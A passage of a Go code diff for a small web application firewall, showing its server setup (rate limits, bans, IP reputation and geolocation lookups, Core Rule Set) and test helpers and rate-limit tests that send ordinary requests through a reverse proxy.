+// a client's address, lifts them, with SWWAF_ADMIN_TOKEN.
+const BansPath = "/_smallwebwaf/bans"
+
+// ClientsPath is where an admin asks what servewaf knows of a client, by the
+// client's address after it, with SWWAF_ADMIN_TOKEN.
+const ClientsPath = "/_smallwebwaf/clients/"
+
+// Params are what NewServeWAF needs.
+type Params struct {
+	Config *config.Config
+	// RequestLog receives two JSON lines per question, one at its decision and
+	// one when its report comes, and one per request to servewaf's own endpoints.
+	RequestLog io.Writer
+	// ProcessLog receives the process's own messages.
+	ProcessLog *slog.Logger
+	// GeoJSURL is where clients' AS numbers and countries are looked up
+	// while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
+	GeoJSURL string
+	// AbuseIPDBURL is where clients are checked with AbuseIPDB while
+	// SWWAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
+	AbuseIPDBURL string
+	// LookupFile is the lookup database they are looked up in while
+	// SWWAF_LOOKUP_SOURCE is file, and nil otherwise.
+	LookupFile *lookup.File
+	// Now tells the time by which requests are counted for the rate
+	// limits, bans are made and run out, and GeoJS's answers are kept,
+	// normally time.Now in UTC, the time the state files give.
+	Now func() time.Time
+	// Rules are the rule files' rules, which each request is checked
+	// against.
+	Rules *rules.Files
+	// Alerts receive the alert for each ban servewaf makes or makes
+	// permanent, for each count over an anomaly threshold, for each request
+	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
+	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
+	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
+	// or the day's AbuseIPDB checks used up.
+	Alerts *alerts.Queue
+}
+
+// Server is the server servewaf runs, with the parts whose state the state
+// files keep, the lookup database, nil unless SWWAF_LOOKUP_SOURCE is file, the
+// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
+// AbuseIPDB's scores and checks spent, and the metrics.
+type Server struct {
+	*http.Server
+
+	Ledger     *bans.Ledger
+	Limiter    *ratelimit.Limiter
+	GeoJS      *lookup.GeoJS
+	Anomalies  *anomaly.Counters
+	LookupFile *lookup.File
+	Lists      *reputation.Lists
+	DNSBL      *reputation.DNSBL
+	AbuseIPDB  *reputation.AbuseIPDB
+	Metrics    *metrics.Metrics
+}
+
+// newHandler returns the handler with what every request shares, as the
+// settings in params make it.
+func newHandler(params Params) *handler {
+	m := metrics.New(params.Config.MetricsTopN, params.Config.InstanceName)
+	lists, dnsbl, abuseIPDB := newReputation(params, m)
+
+	awaitingReport, err := lru.New[string, *decision](maxAwaitingReport)
+	if err != nil {
+		panic(err) // New fails only for a size below one
+	}
+
+	h := &handler{
+		config:         params.Config,
+		requestLog:     params.RequestLog,
+		processLog:     params.ProcessLog,
+		now:            params.Now,
+		metrics:        m,
+		awaitingReport: awaitingReport,
+		limiter: ratelimit.New(ratelimit.Limits{
+			PerMinute:      params.Config.RateLimitPerMinute,
+			PerHour:        params.Config.RateLimitPerHour,
+			PerDay:         params.Config.RateLimitPerDay,
+			BytesPerMinute: params.Config.BytesLimitPerMinute,
+			BytesPerHour:   params.Config.BytesLimitPerHour,
+			BytesPerDay:    params.Config.BytesLimitPerDay,
+		}, params.Config.MaxTrackedClients),
+		ledger: bans.New(bans.Rules{
+			LimitBanDuration:     params.Config.LimitBanDuration,
+			LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow,
+			MaxBanDuration:       params.Config.MaxBanDuration,
+			AttackBanDuration:    params.Config.AttackBanDuration,
+			MaxBans:              params.Config.MaxBans,
+		}),
+		anomalies: anomaly.New(anomaly.Params{
+			Client:         params.Config.AnomalyClient,
+			Net:            params.Config.AnomalyNet,
+			ASN:            params.Config.AnomalyASN,
+			Total:          params.Config.AnomalyTotal,
+			Watch:          params.Config.AnomalyWatch,
+			NetV4Prefix:    params.Config.AnomalyNetV4Prefix,
+			NetV6Prefix:    params.Config.AnomalyNetV6Prefix,
+			NamedNetblocks: params.Config.WatchNets,
+			Alerts:         params.Alerts,
+		}),
+		lookupFile:  params.LookupFile,
+		lists:       lists,
+		dnsbl:       dnsbl,
+		abuseIPDB:   abuseIPDB,
+		rules:       params.Rules,
+		coreRuleSet: newCoreRuleSet(params.Config),
+		alerts:      params.Alerts,
+	}
+	h.geojs = lookup.New(lookup.Params{
+		URL:     params.GeoJSURL,
+		Timeout: params.Config.LookupTimeout,
+		// The country lists, the headers and the biased thresholds act on
+		// the answer before the request goes on.
+		Wait: len(params.Config.DeniedCountries) > 0 ||
+			len(params.Config.ExclusivelyAllowedCountries) > 0 ||
+			params.Config.AddLookupHeaders || biasedThresholdsSet(params.Config),
+		Answered:   h.addLookup,
+		Now:        params.Now,
+		ProcessLog: params.ProcessLog,
+		Metrics:    m,
+		Alerts:     params.Alerts,
+	})
+	m.AddBansAndClients(h.ledger, h.limiter, params.Now)
+	m.AddRules(params.Rules)
+
+	return h
+}
+
+// newReputation returns the lists fetched from URLs, the DNSBL zones'
+// verdicts and AbuseIPDB's scores, as the settings in params name them,
+// with none fetched, asked for or checked yet, and adds their metrics to
+// m, AbuseIPDB's while SWWAF_ABUSEIPDB_KEY is set.
+func newReputation(
+	params Params, m *metrics.Metrics,
+) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
+	cfg := params.Config
+	lists := reputation.New(reputation.Params{
+		BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
+		ASNLimitPercentURL:   cfg.ASNLimitPercentURL,
+		CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
+		Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
+	})
+	dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
+		Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
+		Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
+		Alerts: params.Alerts,
+	})
+	abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
+		URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
+		DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
+		Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
+		Alerts: params.Alerts,
+	})
+
+	m.AddReputation(lists, dnsbl)
+
+	if cfg.AbuseIPDBKey != "" {
+		m.AddAbuseIPDB(abuseIPDB)
+	}
+
+	return lists, dnsbl, abuseIPDB
+}
+
+// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
+// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
+// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off. It reads at
+// most QuestionBodyMaxBytes less one byte: a question's body of
+// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
+// JSON or XML body over its limit.
+func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
+	if cfg.WAFMode == config.WAFModeOff {
+		return nil
+	}
+
+	coreRuleSet, err := waf.New(waf.Params{
+		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
+		BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
+	})
+	if err != nil {
+		// The Core Rule Set is built in, and the settings cannot break it:
+		// the paranoia level is from 1 to 4, and the id of no rule switches
+		// nothing off.
+		panic(err)
+	}
+
+	return coreRuleSet
+}
+
+// handler is servewaf's handler. It holds what every request shares; what
+// belongs to one request is in a request.
+type handler struct {
+	config      *config.Config
+	requestLog  io.Writer
+	processLog  *slog.Logger
+	now         func() time.Time
+	metrics     *metrics.Metrics
+	limiter     *ratelimit.Limiter
+	ledger      *bans.Ledger
+	geojs       *lookup.GeoJS
+	anomalies   *anomaly.Counters
+	lookupFile  *lookup.File
+	lists       *reputation.Lists
+	dnsbl       *reputation.DNSBL
+	abuseIPDB   *reputation.AbuseIPDB
+	rules       *rules.Files
+	coreRuleSet *waf.CoreRuleSet
+	alerts      *alerts.Queue
+	// awaitingReport holds the decision on each answered question by its id
+	// until its report comes, and nil for a question still being handled.
+	awaitingReport *lru.Cache[string, *decision]
+}

internal/proxy/proxy_test.go

@@ -0,0 +1,602 @@
+package proxy_test
+
+import (
+	"bufio"
+	"bytes"
+	"encoding/json"
+	"io"
+	"log/slog"
+	"maps"
+	"net"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"sneak.berlin/go/smallwebwaf/internal/alerts"
+	"sneak.berlin/go/smallwebwaf/internal/config"
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/proxy"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/rproxy"
+	"sneak.berlin/go/smallwebwaf/internal/rules"
+)
+
+const (
+	// waitLimit bounds how long a test waits for what should happen.
+	waitLimit = 10 * time.Second
+	// pollInterval is how often a test looks for a log line.
+	pollInterval = 10 * time.Millisecond
+	// localhost is where every test server listens, and so the address rproxy
+	// sees each test's requests come from.
+	localhost = "127.0.0.1"
+	// requestType is the type that marks a request log line.
+	requestType = "request"
+	// protocol is the protocol of every question.
+	protocol = "HTTP/1.1"
+	// trustLocalhost trusts the address every test connects from, and a
+	// network for proxies in front of it.
+	trustLocalhost = localhost + "/32,10.0.0.0/8"
+	// appHost is the host every test asks for.
+	appHost = "app.example"
+	// client is the client's address, as a proxy names it.
+	client = "203.0.113.9"
+	// forwardedFor is the header that lists the client and its proxies,
+	// and forwardedProto the one that gives the scheme the client used.
+	forwardedFor   = "X-Forwarded-For"
+	forwardedProto = "X-Forwarded-Proto"
+	// secure is the scheme a client reached traefik with, and plain the one
+	// rproxy serves.
+	secure = "https"
+	plain  = "http"
+)
+
+// The settings the tests set.
+const (
+	mode                 = "SWWAF_MODE"
+	trustedProxies       = "SWRP_TRUSTED_PROXIES"
+	ipv6GroupPrefix      = "SWWAF_IPV6_GROUP_PREFIX"
+	maxTrackedClients    = "SWWAF_MAX_TRACKED_CLIENTS"
+	allowNets            = "SWWAF_ALLOW_NETS"
+	rateLimitExemptNets  = "SWWAF_RATE_LIMIT_EXEMPT_NETS"
+	denyNets             = "SWWAF_DENY_NETS"
+	rateLimitPerMinute   = "SWWAF_RATE_LIMIT_PER_MINUTE"
+	rateLimitPerDay      = "SWWAF_RATE_LIMIT_PER_DAY"
+	rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS"
+	lookupSource         = "SWWAF_LOOKUP_SOURCE"
+	lookupDBPath         = "SWWAF_LOOKUP_DB_PATH"
+	lookupTimeout        = "SWWAF_LOOKUP_TIMEOUT"
+	addLookupHeaders     = "SWWAF_ADD_LOOKUP_HEADERS"
+	deniedCountries      = "SWWAF_DENIED_COUNTRIES"
+	allowedCountries     = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
+	banResponse          = "SWWAF_BAN_RESPONSE"
+	limitBanDuration     = "SWWAF_LIMIT_BAN_DURATION"
+	limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW"
+	maxBanDuration       = "SWWAF_MAX_BAN_DURATION"
+	maxBans              = "SWWAF_MAX_BANS"
+	banScopeV4Prefix     = "SWWAF_BAN_SCOPE_V4_PREFIX"
+	instanceName         = "SWWAF_INSTANCE_NAME"
+	logRequestHeaders    = "SWWAF_LOG_REQUEST_HEADERS"
+	attackBanDuration    = "SWWAF_ATTACK_BAN_DURATION"
+	rulesDir             = "SWWAF_RULES_DIR"
+	wafMode              = "SWWAF_WAF_MODE"
+)
+
+// off is the value that switches a setting off.
+const off = "off"
+
+// on is the value that switches a setting that takes true or false on.
+const on = "true"
+
+// output collects what smallwebwaf writes on stdout.
+type output struct {
+	mu  sync.Mutex
+	buf bytes.Buffer
+}
+
+// Write adds lines smallwebwaf writes.
+func (o *output) Write(p []byte) (int, error) {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	return o.buf.Write(p)
+}
+
+// text returns everything written so far.
+func (o *output) text() string {
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	return o.buf.String()
+}
+
+// lines returns every line written so far, decoded.
+func (o *output) lines(t *testing.T) []map[string]any {
+	t.Helper()
+	o.mu.Lock()
+	defer o.mu.Unlock()
+
+	var lines []map[string]any
+
+	for text := range strings.Lines(o.buf.String()) {
+		var line map[string]any
+
+		err := json.Unmarshal([]byte(text), &line)
+		if err != nil {
+			t.Fatalf("output line %q is not JSON: %v", text, err)
+		}
+
+		lines = append(lines, line)
+	}
+
+	return lines
+}
+
+// logLine is a request log line, as typed fields and as the JSON object
+// it was written as.
+type logLine struct {
+	requestlog.Line
+
+	fields map[string]any
+}
+
+// requestLines waits for count request log lines and returns them.
+func (o *output) requestLines(t *testing.T, count int) []logLine {
+	t.Helper()
+
+	deadline := time.Now().Add(waitLimit)
+	for time.Now().Before(deadline) {
+		var found []logLine
+
+		for _, fields := range o.lines(t) {
+			if fields["type"] == requestType {
+				found = append(found, decodeLine(t, fields))
+			}
+		}
+
+		if len(found) >= count {
+			return found
+		}
+
+		time.Sleep(pollInterval)
+	}
+
+	t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
+
+	return nil
+}
+
+// requestLine waits for the request log line of a test's one request.
+func (o *output) requestLine(t *testing.T) logLine {
+	t.Helper()
+
+	return o.requestLines(t, 1)[0]
+}
+
+// endedLines waits for count requests that went through rproxy, or to servewaf's
+// own endpoints, to have ended, and returns the last log line of each, in the
+// order servewaf took them. A question's last line is the one its report writes.
+func (o *output) endedLines(t *testing.T, count int) []logLine {
+	t.Helper()
+
+	deadline := time.Now().Add(waitLimit)
+	for time.Now().Before(deadline) {
+		found := o.lastLines(t)
+
+		ended := len(found) >= count
+		for _, line := range found[:min(count, len(found))] {
+			if line.ServeWAFLine == requestlog.ServeWAFLineDecision {
+				ended = false
+			}
+		}
+
+		if ended {
+			return found
+		}
+
+		time.Sleep(pollInterval)
+	}
+
+	t.Fatalf("fewer than %d requests have ended after %s", count, waitLimit)
+
+	return nil
+}
+
+// lastLines returns the last request log line written so far of each request,
+// in the order servewaf took them.
+func (o *output) lastLines(t *testing.T) []logLine {
+	t.Helper()
+
+	var found []logLine
+
+	places := map[string]int{}
+
+	for _, fields := range o.lines(t) {
+		if fields["type"] != requestType {
+			continue
+		}
+
+		line := decodeLine(t, fields)
+
+		place, seen := places[line.RequestID]
+		if seen {
+			found[place] = line
+
+			continue
+		}
+
+		places[line.RequestID] = len(found)
+		found = append(found, line)
+	}
+
+	return found
+}
+
+// endedLine waits for a test's one request to have ended, and returns its last
+// log line.
+func (o *output) endedLine(t *testing.T) logLine {
+	t.Helper()
+
+	return o.endedLines(t, 1)[0]
+}
+
+// decodeLine reads a request log line's fields into a logLine.
+func decodeLine(t *testing.T, fields map[string]any) logLine {
+	t.Helper()
+
+	encoded, err := json.Marshal(fields)
+	if err != nil {
+		t.Fatalf("encode %v: %v", fields, err)
+	}
+
+	line := logLine{fields: fields}
+
+	err = json.Unmarshal(encoded, &line.Line)
+	if err != nil {
+		t.Fatalf("decode %s: %v", encoded, err)
+	}
+
+	return line
+}
+
+// startApp starts app as the app rproxy passes requests to.
+func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
+	t.Helper()
+
+	server := httptest.NewServer(app)
+	t.Cleanup(server.Close)
+
+	return server
+}
+
+// startProxy starts servewaf, and rproxy in front of the app at appURL, each with
+// the settings in env on top of the defaults, and returns where rproxy listens
+// and what servewaf writes.
+func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
+	t.Helper()
+
+	return startProxyWithGeoJS(t, appURL, "", env)
+}
+
+// startProxyWithGeoJS is startProxy with clients' AS numbers and
+// countries looked up at geojsURL.
+func startProxyWithGeoJS(
+	t *testing.T, appURL, geojsURL string, env map[string]string,
+) (string, *output) {
+	t.Helper()
+
+	addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
+
+	return addr, out
+}
+
+// startProxyWithClock is startProxyWithGeoJS with requests counted and
+// bans made by the time now tells, and returns servewaf's server as well, whose
+// Addr is where servewaf listens. Unless env sets SWWAF_RULES_DIR, it is an empty
+// directory, of no rules, and unless it sets SWWAF_INSTANCE_NAME, that is app,
+// the label instance of every metric.
+func startProxyWithClock(
+	t *testing.T, appURL, geojsURL string, now func() time.Time,
+	env map[string]string,
+) (string, *output, *proxy.Server) {
+	t.Helper()
+
+	addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
+
+	return addr, out, server
+}
+
+// startProxyWithAlerts is startProxyWithClock, and returns the queue of
+// the alerts servewaf raises as well, as newServeWAF makes them.
+func startProxyWithAlerts(
+	t *testing.T, appURL, geojsURL string, now func() time.Time,
+	env map[string]string,
+) (string, *output, *proxy.Server, *alerts.Queue) {
+	t.Helper()
+
+	server, out, alertQueue := newServeWAF(t, geojsURL, now, env)
+	serve(t, server)
+
+	return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
+}
+
+// serve serves server on a port of its own until the test ends, and sets its
+// Addr to where it listens.
+func serve(t *testing.T, server *proxy.Server) {
+	t.Helper()
+
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	server.Addr = listener.Addr().String()
+
+	go func() {
+		_ = server.Serve(listener)
+	}()
+
+	t.Cleanup(func() {
+		_ = server.Close()
+	})
+}
+
+// startRProxy starts rproxy in front of the app at appURL, asking the servewaf
+// at serveWAFAddr, with the settings in env on top of the defaults, and returns
+// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
+// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
+func startRProxy(
+	t *testing.T, serveWAFAddr, appURL string, env map[string]string,
+) string {
+	t.Helper()
+
+	settings := map[string]string{
+		"SWRP_WAF_BACKEND":  "http://" + serveWAFAddr,
+		"SWRP_UPSTREAM_URL": appURL,
+		"SWRP_TIMEOUT_MS":   "60000",
+	}
+	maps.Copy(settings, env)
+
+	cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
+		value, ok := settings[name]
+
+		return value, ok
+	})
+	if err != nil {
+		t.Fatalf("settings %v: %v", settings, err)
+	}
+
+	server := rproxy.New(rproxy.Params{
+		Config:     cfg,
+		RequestLog: io.Discard,
+		ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
+	})
+
+	listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
+	if err != nil {
+		t.Fatalf("listen: %v", err)
+	}
+
+	go func() {
+		_ = server.Serve(listener)
+	}()
+
+	t.Cleanup(func() {
+		_ = server.Close()
+	})
+
+	return listener.Addr().String()
+}
+
+// newServeWAF makes servewaf's server, without starting it, and returns it, what
+// it writes, and the queue of the alerts it raises, as the settings in env make
+// it. No alert is sent from the queue: they wait in it, for the test to look at.
+// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
+// SWWAF_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
+// database SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
+// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off unless
+// env sets it, so that only the tests of the Core Rule Set have their requests
+// inspected by it.
+func newServeWAF(
+	t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
+) (*proxy.Server, *output, *alerts.Queue) {
+	t.Helper()
+
+	return newServeWAFWith(t, proxy.NewServeWAF, geojsURL, now, env)
+}
+
+// newServeWAFWith is newServeWAF for the server build makes.
+func newServeWAFWith(
+	t *testing.T, build func(proxy.Params) *proxy.Server,
+	geojsURL string, now func() time.Time, env map[string]string,
+) (*proxy.Server, *output, *alerts.Queue) {
+	t.Helper()
+
+	settings := map[string]string{
+		rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
+	}
+	if geojsURL == "" {
+		settings[lookupSource] = off
+	}
+
+	maps.Copy(settings, env)
+
+	cfg, err := config.FromEnvironment(func(name string) (string, bool) {
+		value, ok := settings[name]
+
+		return value, ok
+	})
+	if err != nil {
+		t.Fatalf("settings %v: %v", settings, err)
+	}
+
+	out := &output{}
+	processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
+
+	ruleFiles, err := rules.Load(rules.Params{
+		Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
+	})
+	if err != nil {
+		t.Fatalf("rule files: %v", err)
+	}
+
+	alertQueue := alerts.New(alerts.Params{
+		WebhookURL: cfg.AlertWebhookURL,
+		Events:     cfg.AlertEvents,
+		Cooldown:   cfg.AlertCooldown,
+		MaxPerHour: cfg.AlertMaxPerHour,
+		Instance:   cfg.InstanceName,
+		Now:        now,
+		ProcessLog: processLog,
+	})
+
+	var lookupFile *lookup.File
+
+	if cfg.LookupSource == fileSource {
+		lookupFile, err = lookup.OpenFile(lookup.FileParams{
+			Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue,
+		})
+		if err != nil {
+			t.Fatalf("lookup database: %v", err)
+		}
+	}
+
+	server := build(proxy.Params{
+		Config:       cfg,
+		RequestLog:   out,
+		ProcessLog:   processLog,
+		GeoJSURL:     geojsURL,
+		AbuseIPDBURL: abuseIPDBURL,
+		LookupFile:   lookupFile,
+		Now:          now,
+		Rules:        ruleFiles,
+		Alerts:       alertQueue,
+	})
+
+	return server, out, alertQueue
+}
+
+// newClient returns an HTTP client that sends requests as they are made,
+// with no compression of its own.
+func newClient(t *testing.T) *http.Client {
+	t.Helper()
+
+	transport := &http.Transport{DisableCompression: true}
+	t.Cleanup(transport.CloseIdleConnections)
+
+	return &http.Client{Transport: transport}
+}
+
+// answer is a response as a test reads it: the status, the headers, as
+// much of the body as arrived, and the error that ended the reading, nil
+// when the whole body arrived.
+type answer struct {
+	status int
+	header http.Header
+	body   []byte
+	err    error
+}
+
+// readAnswer reads all of res, and closes its body.
+func readAnswer(res *http.Response) answer {
+	body, err := io.ReadAll(res.Body)
+	_ = res.Body.Close()
+
+	return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
+}
+
+// newRequest makes a request for path to addr, where rproxy or servewaf listens.
+func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
+	t.Helper()
+
+	req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
+	if err != nil {
+		t.Fatalf("new request: %v", err)
+	}
+
+	return req
+}
+
+// do sends req and reads the answer.
+func do(t *testing.T, req *http.Request) answer {
+	t.Helper()
+
+	res, err := newClient(t).Do(req)
+	if err != nil {
+		t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
+	}
+
+	return readAnswer(res)
+}
+
+// get sends a GET request for path to addr.
+func get(t *testing.T, addr, path string) answer {
+	t.Helper()
+
+	return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
+}
+
+// dial opens a connection to addr, for requests the HTTP client cannot make,
+// such as one that stops sending halfway.
+func dial(t *testing.T, addr string) net.Conn {
+	t.Helper()
+
+	conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
+	if err != nil {
+		t.Fatalf("dial %s: %v", addr, err)
+	}
+
+	t.Cleanup(func() {
+		_ = conn.Close()
+	})
+
+	return conn
+}
+
+// send writes text to conn.
+func send(t *testing.T, conn net.Conn, text string) {
+	t.Helper()
+
+	_, err := io.WriteString(conn, text)
+	if err != nil {
+		t.Fatalf("send: %v", err)
+	}
+}
+
+// readResponse reads the answer to a request sent on conn.
+func readResponse(t *testing.T, conn net.Conn) answer {
+	t.Helper()
+
+	err := conn.SetReadDeadline(time.Now().Add(waitLimit))
+	if err != nil {
+		t.Fatalf("set read deadline: %v", err)
+	}
+
+	res, err := http.ReadResponse(bufio.NewReader(conn), nil)
+	if err != nil {
+		t.Fatalf("read response: %v", err)
+	}
+
+	return readAnswer(res)
+}
+
+// wantLine checks the request log line's status and action.
+func wantLine(t *testing.T, line logLine, status int, action string) {
+	t.Helper()
+
+	if line.Status != status || line.Action != action {
+		t.Errorf("log line has status %d and action %q, want %d and %q",
+			line.Status, line.Action, status, action)
+	}
+}
+
+// wantStatus checks an answer's status.
+func wantStatus(t *testing.T, got answer, status int) {
+	t.Helper()
+
+	if got.status != status {
+		t.Errorf("status %d, want %d", got.status, status)
+	}
+}

internal/proxy/ratelimits_test.go

@@ -0,0 +1,206 @@
+package proxy_test
+
+import (
+	"net/http"
+	"sync/atomic"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/lookup"
+	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
+	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+)
+
+// minute is the window of SWWAF_RATE_LIMIT_PER_MINUTE, as a log line's
+// limit_hit names it.
+const minute = "minute"
+
+func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
+	t.Parallel()
+
+	var calls atomic.Int32
+
+	app := startApp(t, func(http.ResponseWriter, *http.Request) {
+		calls.Add(1)
+	})
+	addr, out := startProxy(t, app.URL, map[string]string{
+		trustedProxies:     trustLocalhost,
+		rateLimitPerMinute: "1",
+	})
+
+	const otherClient = "203.0.113.10"
+
+	// With a limit of one request a minute, a client's second request is
+	// refused, with 403 by default. A client is one IPv4 address, or one
+	// IPv6 /64; an IPv4 address in IPv6 form is that IPv4 address.
+	requests := []struct {
+		client string // as X-Forwarded-For names it
+		logged string // as the log line's client_ip names it
+		want   int
+	}{
+		{client, client, http.StatusOK},
+		{client, client, http.StatusForbidden},
+		{otherClient, otherClient, http.StatusOK},
+		{"::ffff:" + otherClient, otherClient, http.StatusForbidden},
+		{"2001:db8::1", "2001:db8::1", http.StatusOK},
+		{"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
+		{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
+	}
+
+	for i, sent := range requests {
+		req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
+		req.Header.Set(forwardedFor, sent.client)
+		wantStatus(t, do(t, req), sent.want)
+
+		line := out.endedLines(t, i+1)[i]
+		if line.ClientIP != sent.logged {
+			t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
+		}
+
+		if sent.want == http.StatusOK {
+			wantLine(t, line, http.StatusOK, requestlog.ActionForward)
+		} else {
+			wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited)
+
+			if line.LimitHit != minute {
+				t.Errorf("log line has limit_hit %q, want minute", line.LimitHit)
+			}
+		}
+	}
+
+	if calls.Load() != 4 {
+		t.Errorf("the app was called %d times, want 4", calls.Load())
+	}
+}
+
+func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
+	t.Parallel()
+
+	// With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
+	// /64s of one /48, are one client, and the second's request breaks the
+	// limit; the third, in the next /48, is another client.
+	const (
+		first  = "2001:db8:9::1"
+		second = "2001:db8:9:1::1"
+		other  = "2001:db8:a::1"
+	)
+
+	for _, tc := range []struct {
+		setting, value string
+		// status and action are those of the request that breaks the
+		// limit: a rate limit refuses it, a byte limit passes it on.
+		status int
+		action string
+	}{
+		{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited},
+		{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
+	} {
+		t.Run(tc.setting, func(t *testing.T) {
+			t.Parallel()
+
+			s, _ := startWithAnswers(t, map[string]string{
+				ipv6GroupPrefix: "48", tc.setting: tc.value,
+			})
+
+			s.get(first, http.StatusOK, requestlog.ActionForward)
+
+			line := s.get(second, tc.status, tc.action)
+			if line.ClientGroup != "2001:db8:9::/48" ||
+				line.Offence != requestlog.OffenceLimit {
+				t.Errorf("log line has client_group %q and offence %q, "+
+					"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
+			}
+
+			s.get(other, http.StatusOK, requestlog.ActionForward)
+		})
+	}
+}
+
+func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
+	t.Parallel()
+
+	const denied = "192.0.2.50" // in SWWAF_DENY_NETS
+
+	geojsURL, _ := startGeoJS(t)
+	s, _, server := startWithClock(t, geojsURL, map[string]string{
+		rateLimitPerMinute:   "1",
+		rateLimitExemptPaths: "/assets/,/favicon.ico",
+		denyNets:             denied,
+		deniedCountries:      "kp",
+	})
+
+	// The answers are kept before the requests, so that none waits for
+	// GeoJS.
+	server.GeoJS.Load([]lookup.Answer{
+		keptAnswer(client, "DE"), keptAnswer(fromKP, "KP"),
+	})
+
+	// With a limit of one request a minute, the requests for paths under a
+	// prefix are not counted, so client's first request for / is within
+	// the limit; and once client has reached it, they are not refused.
+	s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
+	s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
+	if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
+		t.Errorf("log line has limit_hit %q and counts %+v, want neither",
+			line.LimitHit, line.Counts)
+	}
+
+	// A path outside every prefix is counted: /assets is not under
+	// /assets/, and breaks the limit.
+	s.request(client, "/assets", http.StatusForbidden, requestlog.ActionRateLimited)
+
+	// A ban, SWWAF_DENY_NETS and the country lists still refuse a path
+	// under a prefix.
